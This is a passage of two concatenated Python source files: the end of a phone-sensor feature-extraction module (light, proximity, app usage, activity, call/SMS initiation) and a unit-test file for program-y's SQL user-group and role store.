self.CC.logging.log(str(traceback.format_exc())) def process_light_day_data(self, user_id: str, lightdata: List[DataPoint], input_lightstream: DataStream): """ Process all the ambient light related features and store the output streams. :param str user_id: UUID of the stream owner :param List(DataPoint) lightdata: Ambient light data stream :param DataStream input_lightstream: DataStream object of Ambient light stream :return: """ try: data = self.average_ambient_light_daily(lightdata) if data: self.store_stream(filepath="average_ambient_light_daily.json", input_streams=[input_lightstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_ambient_light_hourly(lightdata) if data: self.store_stream(filepath="average_ambient_light_hourly.json", input_streams=[input_lightstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.average_ambient_light_four_hourly(lightdata) if data: self.store_stream(filepath="average_ambient_light_four_hourly.json", input_streams=[input_lightstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_ambient_light_daily(lightdata) if data: self.store_stream(filepath="variance_ambient_light_daily.json", input_streams=[input_lightstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_ambient_light_hourly(lightdata) if data: self.store_stream(filepath="variance_ambient_light_hourly.json", input_streams=[input_lightstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.variance_ambient_light_four_hourly(lightdata) if data: self.store_stream(filepath="variance_ambient_light_four_hourly.json", input_streams=[input_lightstream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) def process_proximity_day_data(self, user_id: str, proximitystream: List[DataPoint], input_proximitystream: DataStream): """ Process all proximity related modules :param str user_id: UUID of the stream owner :param List(DataPoint) proximitystream: Phone proximity data stream :param DataStream input_proximitystream: DataStream object of proximity data stream :return: """ try: data = self.calculate_phone_outside_duration(proximitystream) if data: self.store_stream(filepath="phone_outside_duration.json", input_streams=[input_proximitystream], user_id=user_id, data=data) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) def get_overlapped_value(self, px1, py1, px2, py2): x = max(px1, px2) y = min(py1, py2) if x > y: return 0 return (y - x).total_seconds() / 60 def process_appusage_context_day_data(self, user_id: str, app_usage_data: List[DataPoint], input_usage_stream: DataStream, gps_semantic_data: List[DataPoint], input_gps_semantic_stream: DataStream): """ Process appusage related modules :param str user_id: UUID of stream owner :param List(DataPoint) app_usage_data: App usage stream data :param input_usage_stream: DataStram object of app usage stream :param gps_semantic_data: GPS semantic location data splitted daywise (localtime false) :param input_gps_semantic_stream: DataStream object of the gps semantic daysiwse data :return: """ if not app_usage_data: return total = [{}, {}, {}, {}] try: for category, data in app_usage_data[0].sample.items(): total[0][category] = 0 total[1][category] = 0 total[2][category] = 0 total[3][category] = 0 for d in data: total[0][category] += (d["end_time"] - d["start_time"]).total_seconds() / 60 for gd in gps_semantic_data: val = self.get_overlapped_value(d["start_time"], d["end_time"], gd.start_time, gd.end_time) if gd.sample == "work": total[1][category] += val elif gd.sample == "home": total[2][category] += val total[3][category] = total[0][category] - total[1][category] - total[2][category] context_total = [24, 0, 0, 0] for gd in gps_semantic_data: if gd.sample == "work": context_total[1] += (gd.end_time - gd.start_time).total_seconds() / (60 * 60) elif gd.sample == "home": context_total[2] += (gd.end_time - gd.start_time).total_seconds() / (60 * 60) context_total[3] = context_total[0] - context_total[1] - context_total[2] st = app_usage_data[0].start_time.date() start_time = datetime.datetime.combine(st, datetime.time.min) start_time = start_time.replace(tzinfo=app_usage_data[0].start_time.tzinfo) end_time = datetime.datetime.combine(st, datetime.time.max) end_time = end_time.replace(tzinfo=app_usage_data[0].start_time.tzinfo) dp1 = DataPoint(start_time, end_time, app_usage_data[0].offset, total[0]) if input_gps_semantic_stream: dp2 = DataPoint(start_time, end_time, app_usage_data[0].offset, total[1]) dp3 = DataPoint(start_time, end_time, app_usage_data[0].offset, total[2]) dp4 = DataPoint(start_time, end_time, app_usage_data[0].offset, total[3]) self.store_stream(filepath="appusage_duration_total_by_category.json", input_streams=[input_usage_stream], user_id=user_id, data=[dp1], localtime=False) if input_gps_semantic_stream: self.store_stream(filepath="appusage_duration_total_by_category_work.json", input_streams=[input_usage_stream, input_gps_semantic_stream], user_id=user_id, data=[dp2], localtime=False) self.store_stream(filepath="appusage_duration_total_by_category_home.json", input_streams=[input_usage_stream, input_gps_semantic_stream], user_id=user_id, data=[dp3], localtime=False) self.store_stream(filepath="appusage_duration_total_by_category_outside.json", input_streams=[input_usage_stream, input_gps_semantic_stream], user_id=user_id, data=[dp4], localtime=False) for i in range(4): if context_total[i] == 0: continue for category in app_usage_data[0].sample: total[i][category] /= context_total[i] dp5 = DataPoint(start_time, end_time, app_usage_data[0].offset, total[0]) if input_gps_semantic_stream: dp6 = DataPoint(start_time, end_time, app_usage_data[0].offset, total[1]) dp7 = DataPoint(start_time, end_time, app_usage_data[0].offset, total[2]) dp8 = DataPoint(start_time, end_time, app_usage_data[0].offset, total[3]) self.store_stream(filepath="appusage_duration_average_by_category.json", input_streams=[input_usage_stream], user_id=user_id, data=[dp5], localtime=False) if input_gps_semantic_stream: self.store_stream(filepath="appusage_duration_average_by_category_work.json", input_streams=[input_usage_stream, input_gps_semantic_stream], user_id=user_id, data=[dp6], localtime=False) self.store_stream(filepath="appusage_duration_average_by_category_home.json", input_streams=[input_usage_stream, input_gps_semantic_stream], user_id=user_id, data=[dp7], localtime=False) self.store_stream(filepath="appusage_duration_average_by_category_outside.json", input_streams=[input_usage_stream, input_gps_semantic_stream], user_id=user_id, data=[dp8], localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) def process_appcategory_day_data(self, user_id: str, appcategorystream: List[DataPoint], input_appcategorystream: DataStream): """ process all app category related features. :param str user_id: UUID of the stream owner :param List(DataPoint) appcategorystream: App category stream data :param DataStream input_appcategorystream: DataStream object of the app category stream :return: """ try: data = [] for d in appcategorystream: if type(d.sample) is not str: continue dnew = d dnew.sample = self.get_app_category(d.sample) data.append(dnew) if data: self.store_stream(filepath="app_usage_category.json", input_streams=[input_appcategorystream], user_id=user_id, data=data) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) def get_total_phone_activity_time_by_type(self, data: List[DataPoint], activity_type: float) -> List[DataPoint]: """ Total time in a day of type 'activity_type'. :param List(DataPoint) data: Phone activity API stream data points :param float activity_type: The activity summary to be calculated ranging from 0 to 7 :return: List with single data point including the total time phone found the 'activity_type' in minutes :rtype: List(DataPoint) """ if not data: return None i = 0 total = 0 while i < len(data): if data[i].sample[0] == activity_type: start = data[i].start_time i += 1 while i < len(data) and data[i].sample[0] == activity_type: i += 1 if i == len(data): last = data[-1].start_time else: last = data[i].start_time total += (last - start).total_seconds() i += 1 start_time = copy.deepcopy(data[0].start_time) start_time = start_time.replace(hour=0, minute=0, second=0, microsecond=0) end_time = datetime.datetime.combine(start_time.date(), datetime.time.max) end_time = end_time.replace(tzinfo=data[0].start_time.tzinfo) return [DataPoint(start_time, end_time, data[0].offset, total/60)] def process_phone_activity_day_data(self, user_id: str, activity_data: List[DataPoint], input_activity_stream: DataStream): """ Process all phone activity API stream related features :param str user_id: UUID of the stream owner :param List(DataPoint) activity_data: Phone activity API stream data points :param DataStream input_activity_stream: DataStream object of phone activity data :return: """ try: data = self.get_total_phone_activity_time_by_type(activity_data, IN_VEHICLE) self.store_stream(filepath="driving_time_from_phone_activity.json", input_streams=[input_activity_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_phone_activity_time_by_type(activity_data, ON_BICYCLE) self.store_stream(filepath="bicycle_time_from_phone_activity.json", input_streams=[input_activity_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_phone_activity_time_by_type(activity_data, STILL) self.store_stream(filepath="still_time_from_phone_activity.json", input_streams=[input_activity_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_phone_activity_time_by_type(activity_data, ON_FOOT) self.store_stream(filepath="on_foot_time_from_phone_activity.json", input_streams=[input_activity_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_phone_activity_time_by_type(activity_data, TILTING) self.store_stream(filepath="tilting_time_from_phone_activity.json", input_streams=[input_activity_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_phone_activity_time_by_type(activity_data, WALKING) self.store_stream(filepath="walking_time_from_phone_activity.json", input_streams=[input_activity_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_phone_activity_time_by_type(activity_data, RUNNING) self.store_stream(filepath="running_time_from_phone_activity.json", input_streams=[input_activity_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_total_phone_activity_time_by_type(activity_data, UNKNOWN) self.store_stream(filepath="unknown_time_from_phone_activity.json", input_streams=[input_activity_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) def get_percent_initiated_call(self, data: List[DataPoint]) -> List[DataPoint]: """ Percent of time the user initiated a call for a day. :param List(DataPoint) data: Call type stream data points :return: List of single data point with percent of call initiated for the day :rtype: List(DataPoint) """ if not data: return None i = 0 count = 0 for d in data: if d.sample == OUTGOING_TYPE: count += 1 start_time = copy.deepcopy(data[0].start_time) start_time = start_time.replace(hour=0, minute=0, second=0, microsecond=0) end_time = datetime.datetime.combine(start_time.date(), datetime.time.max) end_time = end_time.replace(tzinfo=data[0].start_time.tzinfo) return [DataPoint(start_time, end_time, data[0].offset, 100.0*count/len(data))] def get_percent_initiated_sms(self, data: List[DataPoint]) -> List[DataPoint]: """ Percent of time the user initiated a SMS for a day. :param List(DataPoint) data: SMS type stream data points :return: List of single data point with percent of SMS initiated for the day :rtype: List(DataPoint) """ if not data: return None i = 0 count = 0 for d in data: if d.sample == MESSAGE_TYPE_SENT: count += 1 start_time = copy.deepcopy(data[0].start_time) start_time = start_time.replace(hour=0, minute=0, second=0, microsecond=0) end_time = datetime.datetime.combine(start_time.date(), datetime.time.max) end_time = end_time.replace(tzinfo=data[0].start_time.tzinfo) return [DataPoint(start_time, end_time, data[0].offset, 100.0*count/len(data))] def get_percent_initiated_callsms(self, calldata: List[DataPoint], smsdata: List[DataPoint]) -> List[DataPoint]: """ Percent of time the user initiated a Call or SMS for a day. :param List(DataPoint) calldata: Call type stream data points :param List(DataPoint) smsdata: SMS type stream data points :return: List of single data point with percent of Call and SMS initiated for the day :rtype: List(DataPoint) """ data = calldata + smsdata if not data: return None i = 0 count = 0 for d in data: if d.sample == OUTGOING_TYPE: count += 1 start_time = copy.deepcopy(data[0].start_time) start_time = start_time.replace(hour=0, minute=0, second=0, microsecond=0) end_time = datetime.datetime.combine(start_time.date(), datetime.time.max) end_time = end_time.replace(tzinfo=data[0].start_time.tzinfo) return [DataPoint(start_time, end_time, data[0].offset, 100.0*count/len(data))] def process_callsms_type_day_data(self, user_id: str, calltype_data: List[DataPoint], smstype_data: List[DataPoint], input_call_type_stream: DataStream, input_sms_type_stream: DataStream): """ Processing all streams related to call type and sms type streams. :param str user_id: UUID of the stream owner :param List(DataPoint) calltype_data: Call type stream data points :param List(DataPoint) smstype_data: SMS type stream data points :param DataStream input_call_type_stream: DataStream object of call type stream :param DataStream input_sms_type_stream: DataStream object of sms type stream :return: """ try: data = self.get_percent_initiated_call(calltype_data) self.store_stream(filepath="call_initiated_percent_daily.json", input_streams=[input_call_type_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_percent_initiated_sms(smstype_data) self.store_stream(filepath="sms_initiated_percent_daily.json", input_streams=[input_sms_type_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) try: data = self.get_percent_initiated_callsms(calltype_data, smstype_data) self.store_stream(filepath="callsms_initiated_percent_daily.json", input_streams=[input_call_type_stream, input_sms_type_stream], user_id=user_id, data=data, localtime=False) except Exception as e: self.CC.logging.log("Exception:", str(e)) self.CC.logging.log(str(traceback.format_exc())) def process_data(self, user_id: str, all_user_streams: dict, all_days: List[str]): """ Getting all the necessary input datastreams for a user and run all feature processing modules for all the days of the user. :param str user_id: UUID of the stream owner :param dict all_user_streams: Dictionary containing all the user streams, where key is the stream name, value is the stream metadata :param List(str) all_days: List of all days for the processing in the format 'YYYYMMDD' :return: """ input_callstream = None input_smsstream = None input_proximitystream = None input_cuappusagestream = None input_appcategorystream = None input_lightstream = None input_appusage_stream = None input_gpssemanticstream = None input_callnumberstream = None input_smsnumberstream = None input_activity_stream = None input_call_type_stream = None input_sms_type_stream = None call_stream_name = 'CU_CALL_DURATION--edu.dartmouth.eureka' sms_stream_name = 'CU_SMS_LENGTH--edu.dartmouth.eureka' proximity_stream_name = 'PROXIMITY--org.md2k.phonesensor--PHONE' cu_appusage_stream_name = 'CU_APPUSAGE--edu.dartmouth.eureka' light_stream_name = 'AMBIENT_LIGHT--org.md2k.phonesensor--PHONE' appcategory_stream_name = "org.md2k.data_analysis.feature.phone.app_usage_category" appusage_stream_name = "org.md2k.data_analysis.feature.phone.app_usage_interval" gpssemantic_stream_name = "org.md2k.data_analysis.feature.gps_semantic_location.daywise_split.utc" call_number_stream_name = "CU_CALL_NUMBER--edu.dartmouth.eureka" sms_number_stream_name = "CU_SMS_NUMBER--edu.dartmouth.eureka" activity_stream_name = "ACTIVITY_TYPE--org.md2k.phonesensor--PHONE" call_type_stream_name = "CU_CALL_TYPE--edu.dartmouth.eureka" sms_type_stream_name = "CU_SMS_TYPE--edu.dartmouth.eureka" streams = all_user_streams days = None if not streams or not len(streams): self.CC.logging.log('No streams found for user %s for feature %s' % (str(user_id), self.__class__.__name__)) return for stream_name, stream_metadata in streams.items(): if stream_name == call_stream_name: input_callstream = stream_metadata elif stream_name == sms_stream_name: input_smsstream = stream_metadata elif stream_name == proximity_stream_name: input_proximitystream = stream_metadata elif stream_name == cu_appusage_stream_name: input_cuappusagestream = stream_metadata elif stream_name == light_stream_name: input_lightstream = stream_metadata elif stream_name == call_number_stream_name: input_callnumberstream = stream_metadata elif stream_name == sms_number_stream_name: input_smsnumberstream = stream_metadata elif stream_name == activity_stream_name: input_activity_stream = stream_metadata elif stream_name == call_type_stream_name: input_call_type_stream = stream_metadata elif stream_name == sms_type_stream_name: input_sms_type_stream = stream_metadata # Processing Call and SMS related features if not input_callstream: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, call_stream_name, str(user_id))) elif not input_smsstream: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, sms_stream_name, str(user_id))) else: for day in all_days: callstream = self.get_data_by_stream_name(call_stream_name, user_id, day, localtime=False) callstream = self.get_filtered_data(callstream, lambda x: (type(x) is float and x >= 0)) smsstream = self.get_data_by_stream_name(sms_stream_name, user_id, day, localtime=False) smsstream = self.get_filtered_data(smsstream, lambda x: (type(x) is float and x >= 0)) self.process_callsmsstream_day_data(user_id, callstream, smsstream, input_callstream, input_smsstream) if not input_call_type_stream: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, call_type_stream_name, str(user_id))) elif not input_sms_type_stream: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, sms_type_stream_name, str(user_id))) else: for day in all_days: calltype_data = self.get_data_by_stream_name(call_type_stream_name, user_id, day, localtime=False) calltype_data = self.get_filtered_data(calltype_data, lambda x: (type(x) is float)) smstype_data = self.get_data_by_stream_name(sms_type_stream_name, user_id, day, localtime=False) smstype_data = self.get_filtered_data(smstype_data, lambda x: (type(x) is float)) self.process_callsms_type_day_data(user_id, calltype_data, smstype_data, input_call_type_stream, input_sms_type_stream) # processing proximity sensor related features if not input_proximitystream: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, proximity_stream_name, str(user_id))) else: for day in all_days: proximitystream = self.get_data_by_stream_name(proximity_stream_name, user_id, day) proximitystream = self.get_filtered_data(proximitystream, lambda x: (type(x) is float and x >= 0)) self.process_proximity_day_data(user_id, proximitystream, input_proximitystream) # Processing ambient light related features if not input_lightstream: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, light_stream_name, str(user_id))) else: for day in all_days: lightstream = self.get_data_by_stream_name(light_stream_name, user_id, day, localtime=False) lightstream = self.get_filtered_data(lightstream, lambda x: (type(x) is float and x >= 0)) self.process_light_day_data(user_id, lightstream, input_lightstream) # processing app usage and category related features if not input_cuappusagestream: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, cu_appusage_stream_name, str(user_id))) else: for day in all_days: appusagestream = self.get_data_by_stream_name(cu_appusage_stream_name, user_id, day) appusagestream = self.get_filtered_data(appusagestream, lambda x: type(x) is str) self.process_appcategory_day_data(user_id, appusagestream, input_cuappusagestream) # Processing phone touche and typing related features streams = self.CC.get_user_streams(user_id) if not streams or not len(streams): self.CC.logging.log('No streams found for user %s for feature %s' % (str(user_id), self.__class__.__name__)) return latest_appcategorystreamid = self.get_latest_stream_id(user_id, appcategory_stream_name) if not latest_appcategorystreamid: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, appcategory_stream_name, str(user_id))) else: input_appcategorystream = self.CC.get_stream_metadata(latest_appcategorystreamid[0]['identifier']) for day in all_days: appcategorydata = self.get_data_by_stream_name(appcategory_stream_name, user_id, day, localtime=False, ingested_stream=False) appcategorydata = self.get_filtered_data(appcategorydata, lambda x: (type(x) is list and len(x) == 4)) self.process_appusage_day_data(user_id, appcategorydata, input_appcategorystream) streams = self.CC.get_user_streams(user_id) if not streams or not len(streams): self.CC.logging.log('No streams found for user %s for feature %s' % (str(user_id), self.__class__.__name__)) return latest_appusage_streamid = self.get_latest_stream_id(user_id, appusage_stream_name) latest_gps_semantic_streamid = self.get_latest_stream_id(user_id, gpssemantic_stream_name) if not latest_appusage_streamid: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, appusage_stream_name, str(user_id))) else: input_appusage_stream = self.CC.get_stream_metadata(latest_appusage_streamid[0]['identifier']) input_gpssemanticstream = self.CC.get_stream_metadata(latest_gps_semantic_streamid[0]['identifier']) for day in all_days: app_usage_data = self.get_data_by_stream_name(appusage_stream_name, user_id, day, localtime=False, ingested_stream=False) app_usage_data = self.get_filtered_data(app_usage_data, lambda x: type(x) is dict) gps_semantic_data = self.get_data_by_stream_name(gpssemantic_stream_name, user_id, day, localtime=False, ingested_stream=False) gps_semantic_data = self.get_filtered_data(gps_semantic_data, lambda x: ((type(x) is str) or (type(x) is np.str_))) self.process_appusage_context_day_data(user_id, app_usage_data, input_appusage_stream, gps_semantic_data, input_gpssemanticstream) if not input_callnumberstream: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, call_number_stream_name, str(user_id))) elif not input_smsnumberstream: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, sms_number_stream_name, str(user_id))) else: for day in all_days: callnumberdata = self.get_data_by_stream_name(call_number_stream_name, user_id, day, localtime=False) callnumberdata = self.get_filtered_data(callnumberdata, lambda x: (type(x) is str)) smsnumberdata = self.get_data_by_stream_name(sms_number_stream_name, user_id, day, localtime=False) smsnumberdata = self.get_filtered_data(smsnumberdata, lambda x: (type(x) is str)) self.process_callsmsnumber_day_data(user_id, callnumberdata, smsnumberdata, input_callnumberstream, input_smsnumberstream) # processing phone activity data related features if not input_activity_stream: self.CC.logging.log("No input stream found FEATURE %s STREAM %s " "USERID %s" % (self.__class__.__name__, activity_stream_name, str(user_id))) else: for day in all_days: activity_data = self.get_data_by_stream_name(activity_stream_name, user_id, day, localtime=False) activity_data = self.get_filtered_data(activity_data, lambda x: (type(x) is list and len(x) == 2)) self.process_phone_activity_day_data(user_id, activity_data, input_activity_stream) def process(self, user_id: str, all_days: List[str]): """ Main processing function inherited from ComputerFeatureBase :param str user_id: UUID of the user :param List(str) all_days: List of days with format 'YYYYMMDD' :return: """ if self.CC is not None: self.CC.logging.log("Processing PhoneFeatures") streams = self.CC.get_user_streams(user_id) self.process_data(user_id, streams, all_days)

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147,813

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null

0

1

0

1

0

null

0

7

b155a17e3d137598eacf58491f3f3858bbddc645

17,415

py

Python

test/programytest/storage/stores/sql/store/test_usergroups.py

cdoebler1/AIML2

ee692ec5ea3794cd1bc4cc8ec2a6b5e5c20a0d6a

[ "MIT" ]

345

2016-11-23T22:37:04.000Z

2022-03-30T20:44:44.000Z

test/programytest/storage/stores/sql/store/test_usergroups.py

MikeyBeez/program-y

00d7a0c7d50062f18f0ab6f4a041068e119ef7f0

[ "MIT" ]

275

2016-12-07T10:30:28.000Z

2022-02-08T21:28:33.000Z

test/programytest/storage/stores/sql/store/test_usergroups.py

VProgramMist/modified-program-y

f32efcafafd773683b3fe30054d5485fe9002b7d

[ "MIT" ]

159

2016-11-28T18:59:30.000Z

2022-03-20T18:02:44.000Z

import yaml import unittest.mock from unittest.mock import patch import programytest.storage.engines as Engines from programy.storage.stores.sql.config import SQLStorageConfiguration from programy.storage.stores.sql.engine import SQLStorageEngine from programy.storage.stores.sql.store.usergroups import SQLUserGroupStore from programytest.storage.asserts.store.assert_usergroups import UserGroupsStoreAsserts from programy.security.authorise.usergroupsauthorisor import BasicUserGroupAuthorisationService from programy.config.brain.security import BrainSecurityAuthorisationConfiguration from programy.security.authorise.usergroups import User from programy.security.authorise.authorisor import AuthorisationException class SQLUserGroupStoreTests(UserGroupsStoreAsserts): @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_initialise(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) self.assertEqual(store.storage_engine, engine) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_get_all(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) with self.assertRaises(Exception): store._get_all() @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_upload_from_file(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) self.assert_upload_from_file(store) def patch_read_yaml_from_file(self, filename): raise Exception("Mock Exception") @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) @patch("programy.storage.stores.sql.store.usergroups.SQLUserGroupStore._read_yaml_from_file", patch_read_yaml_from_file) def test_upload_from_file_exception(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) self.assert_upload_from_file_exception(store) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_upload_from_file_no_collection(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) self.assert_upload_from_file_no_collection(store) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_users_user_groups(self): user = User("console") config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" groups: sysadmin, localuser """, Loader=yaml.FullLoader) store._load_users_user_groups(yaml_data, user, "console") self.assertTrue("sysadmin" in user.groups) self.assertTrue("localuser" in user.groups) self.assertFalse("other" in user.groups) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_users_user_groups_duplicates(self): user = User("console") config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" groups: sysadmin, localuser, localuser """, Loader=yaml.FullLoader) store._load_users_user_groups(yaml_data, user, "console") self.assertTrue("sysadmin" in user.groups) self.assertTrue("localuser" in user.groups) self.assertFalse("other" in user.groups) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_users_user_roles(self): user = User("console") config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" roles: su, local """, Loader=yaml.FullLoader) store._load_users_user_roles(yaml_data, user, "console") self.assertTrue("su" in user.roles) self.assertTrue("local" in user.roles) self.assertFalse("other" in user.roles) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_users_user_roles_duplicates(self): user = User("console") config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" roles: su, local, su """, Loader=yaml.FullLoader) store._load_users_user_roles(yaml_data, user, "console") self.assertTrue("su" in user.roles) self.assertTrue("local" in user.roles) self.assertFalse("other" in user.roles) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_users(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" users: console: roles: user groups: sysadmin, local viewer: roles: user groups: local """, Loader=yaml.FullLoader) store._upload_users(yaml_data, verbose=False) authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) self.assertTrue("console" in authorisor.users) self.assertTrue("viewer" in authorisor.users) self.assertFalse("sysadmin" in authorisor.groups) self.assertFalse("local" in authorisor.groups) self.assertTrue(authorisor.authorise("console", "user")) self.assertTrue(authorisor.authorise("viewer", "user")) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_users_verbose(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" users: console: roles: user groups: sysadmin, local viewer: roles: user groups: local """, Loader=yaml.FullLoader) store.load_from_yaml(yaml_data, verbose=True) authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) self.assertTrue("console" in authorisor.users) self.assertTrue("viewer" in authorisor.users) self.assertFalse("sysadmin" in authorisor.groups) self.assertFalse("local" in authorisor.groups) self.assertTrue(authorisor.authorise("console", "user")) self.assertTrue(authorisor.authorise("viewer", "user")) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_users_no_users(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" other: console: roles: user groups: sysadmin, local viewer: roles: user groups: local """, Loader=yaml.FullLoader) store._upload_users(yaml_data, verbose=True) authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) self.assertFalse("console" in authorisor.users) self.assertFalse("viewer" in authorisor.users) self.assertFalse("sysadmin" in authorisor.groups) self.assertFalse("local" in authorisor.groups) with self.assertRaises(AuthorisationException): authorisor.authorise("console", "user") with self.assertRaises(AuthorisationException): authorisor.authorise("viewer", "user") @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_users_no_roles(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" users: console: groups: sysadmin, local viewer: groups: local """, Loader=yaml.FullLoader) store._upload_users(yaml_data, verbose=True) authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) self.assertTrue("console" in authorisor.users) self.assertTrue("viewer" in authorisor.users) self.assertFalse("sysadmin" in authorisor.groups) self.assertFalse("local" in authorisor.groups) self.assertFalse(authorisor.authorise("console", "user")) self.assertFalse(authorisor.authorise("viewer", "user")) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_users_no_groups(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) yaml_data = yaml.load(""" users: console: roles: user viewer: roles: user """, Loader=yaml.FullLoader) store._upload_users(yaml_data, verbose=True) authorisor = BasicUserGroupAuthorisationService(BrainSecurityAuthorisationConfiguration()) store.load_usergroups(authorisor) self.assertTrue("console" in authorisor.users) self.assertTrue("viewer" in authorisor.users) self.assertFalse("sysadmin" in authorisor.groups) self.assertFalse("local" in authorisor.groups) self.assertTrue(authorisor.authorise("console", "user")) self.assertTrue(authorisor.authorise("viewer", "user")) @unittest.skipIf(Engines.sql is False, Engines.sql_disabled) def test_load_groups(self): config = SQLStorageConfiguration() engine = SQLStorageEngine(config) engine.initialise() store = SQLUserGroupStore(engine) store.empty() yaml_data = yaml.load(""" groups: group1: roles: role1, role2, role3 groups: group1, group2 users: user1, user2 group2: roles: role4, role5 groups: group3 users: user3 """, Loader=yaml.FullLoader) store._upload_groups(yaml_data, verbose=False) authorisor = 